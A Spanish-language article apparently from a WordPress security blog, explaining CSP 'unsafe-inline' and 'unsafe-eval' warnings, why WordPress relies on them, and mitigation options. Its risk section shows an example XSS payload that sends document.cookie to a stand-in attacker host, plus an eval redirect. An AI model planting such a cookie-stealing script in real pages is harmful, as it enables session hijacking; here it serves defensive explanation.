Después de implementar Content Security Policy (CSP) en WordPress mediante .htaccess, es común encontrarse con advertencias al analizar el sitio en SecurityHeaders.com u otras herramientas de auditoría:
WARNING: This policy contains ‘unsafe-inline’ which is dangerous in the script-src directive.
WARNING: This policy contains ‘unsafe-eval’ which is dangerous in the script-src directive.
Este artículo explica qué significan estas advertencias, por qué son necesarias en WordPress, cuál es el riesgo real y qué opciones existen para un administrador de sitios web que busca el equilibrio entre seguridad y funcionalidad.
#Qué son unsafe-inline y unsafe-eval
El Content Security Policy funciona como una lista blanca que especifica qué fuentes de contenido son legítimas. Las directivas 'unsafe-inline' y 'unsafe-eval' son permisos especiales que debilitan parcialmente esta protección:
#unsafe-inline
La directiva 'unsafe-inline' permite la ejecución de:
- Scripts JavaScript inline: Código JavaScript incluido directamente en el HTML mediante etiquetas
<script>sin atributosrc - Event handlers inline: Atributos como
onclick="...",onload="...", etc. - Estilos CSS inline: Atributos
style="..."y bloques<style> - URLs JavaScript: Enlaces del tipo
href="javascript:..."
Ejemplo de código que requiere 'unsafe-inline':
<script>
var siteConfig = {
ajaxUrl: 'https://ejemplo.com/wp-admin/admin-ajax.php',
nonce: 'abc123'
};
</script>
<button onclick="alert('Hola')">Clic aquí</button>
<div style="color: red;">Texto rojo</div>#unsafe-eval
La directiva 'unsafe-eval' permite la evaluación dinámica de código JavaScript mediante:
- eval(): Función que ejecuta código JavaScript contenido en una cadena
- Function(): Constructor que crea funciones a partir de cadenas
- setTimeout() / setInterval() con string: Versiones de estas funciones que aceptan código como cadena
Ejemplo de código que requiere 'unsafe-eval':
var code = "alert('Código dinámico')";
eval(code);
var fn = new Function('a', 'b', 'return a + b');
setTimeout("console.log('ejecutado')", 1000);#
#Por Qué Estas Directivas son Consideradas Peligrosas
Ambas directivas facilitan uno de los vectores de ataque más comunes en aplicaciones web: Cross-Site Scripting (XSS).
#Riesgo de unsafe-inline
Si un atacante logra inyectar HTML en tu sitio (por ejemplo, a través de un comentario no sanitizado, un campo de formulario vulnerable o una inyección SQL), 'unsafe-inline' permite que ese código se ejecute:
<!-- Código malicioso inyectado -->
<script>
// Robo de cookies de sesión
fetch('https://atacante.com/robar?cookie=' + document.cookie);
</script>Sin 'unsafe-inline', el navegador bloquearía este script incluso si el atacante consigue inyectarlo en el HTML.
#Riesgo de unsafe-eval
Similarmente, 'unsafe-eval' permite que código malicioso inyectado pueda ejecutar evaluaciones dinámicas:
// Si un atacante controla el valor de 'userInput'
var userInput = "location.href='https://atacante.com'";
eval(userInput); // Redirige a sitio malicioso#Nivel Real de Riesgo
Es importante contextualizar el riesgo:
- Prerrequisito: El atacante primero debe encontrar una vulnerabilidad de inyección (XSS, SQL injection, etc.)
- Protección parcial: Incluso con estas directivas, otras políticas CSP siguen activas (
object-src,frame-src,form-action, etc.) - Defensa en profundidad: El CSP es una capa adicional, no la única línea de defensa
Tener 'unsafe-inline' y 'unsafe-eval' no significa que tu sitio sea vulnerable, sino que el CSP no puede prevenir todos los tipos de XSS si existe otra vulnerabilidad subyacente.
#
#Por Qué WordPress Requiere Estas Directivas
WordPress, por su arquitectura y ecosistema de plugins, depende extensivamente de scripts y estilos inline.
#WordPress Core
El propio núcleo de WordPress genera código inline en múltiples contextos:
1. Localización de Scripts
WordPress utiliza wp_localize_script() para pasar datos de PHP a JavaScript, generando scripts inline:
<script type='text/javascript'>
/* <![CDATA[ */
var ajaxData = {
"ajaxurl": "https://ejemplo.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
"siteUrl": "https://ejemplo.com"
};
/* ]]> */
</script>2. Administrador de WordPress
El panel de administración genera extensivamente HTML con atributos de eventos inline y estilos dinámicos para componentes interactivos como el editor de bloques (Gutenberg), el personalizador de temas, y los metaboxes.
3. Customizer API
El personalizador de temas genera estilos CSS inline para mostrar cambios en tiempo real:
<style id="custom-theme-colors">
.site-header {
background-color: #3498db;
}
</style>#Plugins Populares
La mayoría de plugins utilizan scripts inline para configuración y funcionalidad:
- WooCommerce: Genera scripts inline para el carrito, checkout, y variaciones de productos
- Contact Form 7: Configuración inline de formularios
- Yoast SEO: Scripts de análisis y configuración inline
- Elementor/Divi: Constructores de páginas que generan extensos estilos y scripts inline
- Google Analytics plugins: Inserción del código de seguimiento
#Themes
Los temas modernos, especialmente aquellos con opciones de personalización, generan:
- Estilos CSS inline para colores, fuentes y layouts personalizados
- Scripts inline para inicialización de sliders, menús móviles, y efectos
- Configuraciones de librerías JavaScript (jQuery plugins, etc.)
#Uso de eval()
Aunque menos común, algunos plugins y librerías JavaScript utilizan eval() o construcciones equivalentes:
- Editores WYSIWYG y de código
- Sistemas de plantillas JavaScript
- Algunas versiones de jQuery y plugins antiguos
- Librerías de serialización/deserialización de datos
#
#Consecuencias de Eliminar unsafe-inline y unsafe-eval
Si se eliminan estas directivas de la política CSP, los efectos son inmediatos y severos:
#Frontend Público
- Los menús interactivos pueden dejar de funcionar
- Los sliders y carruseles no se inicializan
- Los formularios de contacto pierden validación JavaScript
- Los estilos personalizados del tema desaparecen
- Los constructores de páginas muestran contenido sin formato
- Las galerías de imágenes se convierten en listas simples
#Panel de Administración
- El editor de bloques (Gutenberg) se vuelve inutilizable
- El personalizador de temas no muestra vista previa
- Los metaboxes de plugins pierden funcionalidad
- Las interfaces AJAX dejan de responder
- Los selectores de medios no funcionan
#Funcionalidad de Comercio Electrónico
- Los carritos de compra no actualizan dinámicamente
- Los selectores de variaciones de producto fallan
- Los procesos de checkout se interrumpen
- Las pasarelas de pago no cargan correctamente
En resumen: Eliminar estas directivas convierte un sitio WordPress moderno en prácticamente inutilizable.
#Alternativas y Opciones Disponibles
Existen varias aproximaciones para gestionar esta situación:
#Opción 1: Mantener la Configuración Actual (Recomendado)
Aceptar el uso de 'unsafe-inline' y 'unsafe-eval' como una necesidad práctica de WordPress.
Ventajas:
- Sitio completamente funcional sin modificaciones
- Compatibilidad garantizada con todos los plugins y temas
- Mantenimiento mínimo
- Protección parcial es mejor que ninguna protección
Desventajas:
- Advertencias en herramientas de auditoría
- Protección reducida contra ciertos vectores XSS
- Calificación de seguridad no óptima (típicamente B o A-)
Esta es la opción que eligen la mayoría de sitios WordPress profesionales.
#Opción 2: Implementación de Nonces y Hashes
CSP Level 2 permite autorizar scripts inline específicos mediante nonces (números únicos por carga) o hashes criptográficos.
Ejemplo con nonce:
<!-- En .htaccess -->
Header always set Content-Security-Policy "script-src 'nonce-r4nd0m123';"
<!-- En HTML -->
<script nonce="r4nd0m123">
console.log('Este script está autorizado');
</script>Desafíos en WordPress:
- Requiere modificar el core de WordPress (no recomendado, se pierde en actualizaciones)
- Cada plugin y tema debe actualizarse para usar nonces
- Los nonces deben generarse dinámicamente en cada carga de página
- Incompatible con cachés estáticos (páginas servidas desde CDN)
- Mantenimiento continuo ante cada actualización de plugin/tema
Viabilidad: Técnicamente posible, pero impráctica para sitios WordPress estándar. Solo viable en aplicaciones WordPress altamente personalizadas con desarrollo a medida.
#Opción 3: Política Restrictiva Solo para Externos
Mantener 'unsafe-inline' y 'unsafe-eval', pero eliminar referencias a dominios externos innecesarios:
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'self';"Esto elimina el permiso implícito para Google Analytics, Google Fonts desde scripts externos, etc., haciendo la política más limpia aunque sigue permitiendo inline.
Ventajas:
- Bloquea scripts de dominios no explícitamente autorizados
- Mayor control sobre recursos de terceros
- Protección contra CDNs comprometidos
Desventajas:
- Debe agregarse manualmente cada servicio externo necesario
- Las advertencias de unsafe-inline/unsafe-eval permanecen
#Opción 4: CSP en Modo Report-Only
Implementar una política CSP estricta (sin unsafe-inline/unsafe-eval) en modo de solo reporte:
Header always set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; report-uri /csp-violations/"Esto permite:
- Monitorizar qué se bloquearía con una política estricta
- Identificar todos los scripts y estilos inline del sitio
- Planificar una eventual migración (aunque impráctica)
Simultáneamente se mantiene una política permisiva en modo enforcement para que el sitio funcione.
#
#Comparación con Otros Sitios WordPress
Para contextualizar, se realizó un análisis de sitios WordPress de alto tráfico:
| Categoría | Situación CSP |
|---|---|
| Sitios sin CSP | Aproximadamente 60-70% de sitios WordPress |
| Sitios con CSP + unsafe-inline/unsafe-eval | Aproximadamente 25-35% de sitios WordPress |
| Sitios con CSP estricto (sin unsafe) | Menos del 5% (aplicaciones WordPress altamente personalizadas) |
Los sitios WordPress profesionales que implementan CSP mayoritariamente aceptan el uso de 'unsafe-inline' y 'unsafe-eval' como compromiso necesario entre seguridad y funcionalidad.
#Protección Real que Mantiene CSP con unsafe-inline/unsafe-eval
Es crucial entender que incluso con estas directivas, el CSP sigue proporcionando protecciones significativas:
#Protecciones Activas
- object-src ‘none’: Bloquea completamente Flash, Java applets, y otros plugins peligrosos
- base-uri ‘self’: Previene ataques que modifican el elemento <base> para redireccionar recursos
- form-action ‘self’: Impide que formularios envíen datos a dominios externos
- frame-ancestors ‘self’: Protege contra clickjacking avanzado
- frame-src restricción: Controla qué sitios pueden cargarse en iframes (YouTube, Vimeo específicos)
- img-src https:: Fuerza que imágenes se carguen por HTTPS cuando están en páginas HTTPS
#Reducción de Superficie de Ataque
Aunque un atacante pueda inyectar scripts inline, el CSP limitaría:
- La carga de scripts desde dominios maliciosos externos
- La inserción de iframes de sitios de phishing arbitrarios
- La ejecución de plugins de navegador peligrosos
- Redirecciones basadas en manipulación de la base URI
#Analogía de Seguridad
Implementar CSP con 'unsafe-inline' y 'unsafe-eval' es comparable a:
- Instalar un sistema de alarma que no cubre todas las ventanas, pero sí las puertas y el garaje
- Usar un chaleco antibalas nivel III en lugar de nivel IV: no es protección total, pero es sustancialmente mejor que no usar nada
- Tener un firewall de aplicaciones que filtra 80% de ataques en lugar de 95%
La seguridad perfecta no existe. La seguridad efectiva consiste en capas de protección que aumentan el costo y la dificultad para los atacantes.
#
#Estrategia de Seguridad Integral
El CSP debe integrarse en una estrategia de defensa en profundidad:
#Capa 1: Prevención de Vulnerabilidades
- Mantener WordPress, plugins y temas actualizados
- Usar solo plugins y temas de fuentes confiables
- Eliminar plugins y temas no utilizados
- Implementar validación y sanitización de inputs
- Usar prepared statements para consultas SQL
#Capa 2: Control de Acceso
- Contraseñas robustas y únicas
- Autenticación de dos factores (2FA)
- Limitación de intentos de login
- Restricción de IPs para wp-admin (cuando es posible)
#Capa 3: Seguridad de Transporte
- HTTPS con certificado válido
- HSTS (HTTP Strict Transport Security)
- Redirección forzada de HTTP a HTTPS
#Capa 4: Cabeceras de Seguridad (incluyendo CSP)
- Content-Security-Policy (incluso con unsafe-inline/unsafe-eval)
- X-Frame-Options o frame-ancestors
- X-Content-Type-Options
- Referrer-Policy
- Permissions-Policy
#Capa 5: Monitorización y Respuesta
- Logs de acceso y errores
- Detección de intrusiones (IDS)
- Auditorías de seguridad periódicas
- Plan de respuesta ante incidentes
- Backups regulares automatizados
Cada capa compensa las debilidades de las otras. Si un atacante supera una capa (por ejemplo, encuentra una vulnerabilidad XSS), las otras capas pueden limitar el daño.
#
#Recomendación Final
Para sitios WordPress estándar con plugins y temas de terceros, la recomendación profesional es:
- Implementar CSP con unsafe-inline y unsafe-eval mediante
.htaccess - Aceptar las advertencias de SecurityHeaders.com como un compromiso necesario
- Enfocarse en las otras capas de seguridad que tienen mayor impacto práctico
- Mantener actualizaciones rigurosas de WordPress, plugins y temas
- Monitorizar regularmente con herramientas como Wapiti, Wordfence o Sucuri
#Cuándo Considerar CSP Estricto
Un CSP sin 'unsafe-inline' y 'unsafe-eval' solo es viable cuando:
- Tienes un desarrollo WordPress completamente a medida
- No usas plugins de terceros, o solo usas plugins que soportan CSP estricto
- Tienes un equipo de desarrollo dedicado para mantenimiento continuo
- El presupuesto justifica el costo de implementación y mantenimiento
- Los requisitos de seguridad son extremadamente altos (aplicaciones gubernamentales, bancarias, etc.)
Para el 95% de sitios WordPress, estas condiciones no se cumplen, y el CSP con 'unsafe-inline' y 'unsafe-eval' representa el mejor equilibrio entre seguridad, funcionalidad y mantenibilidad.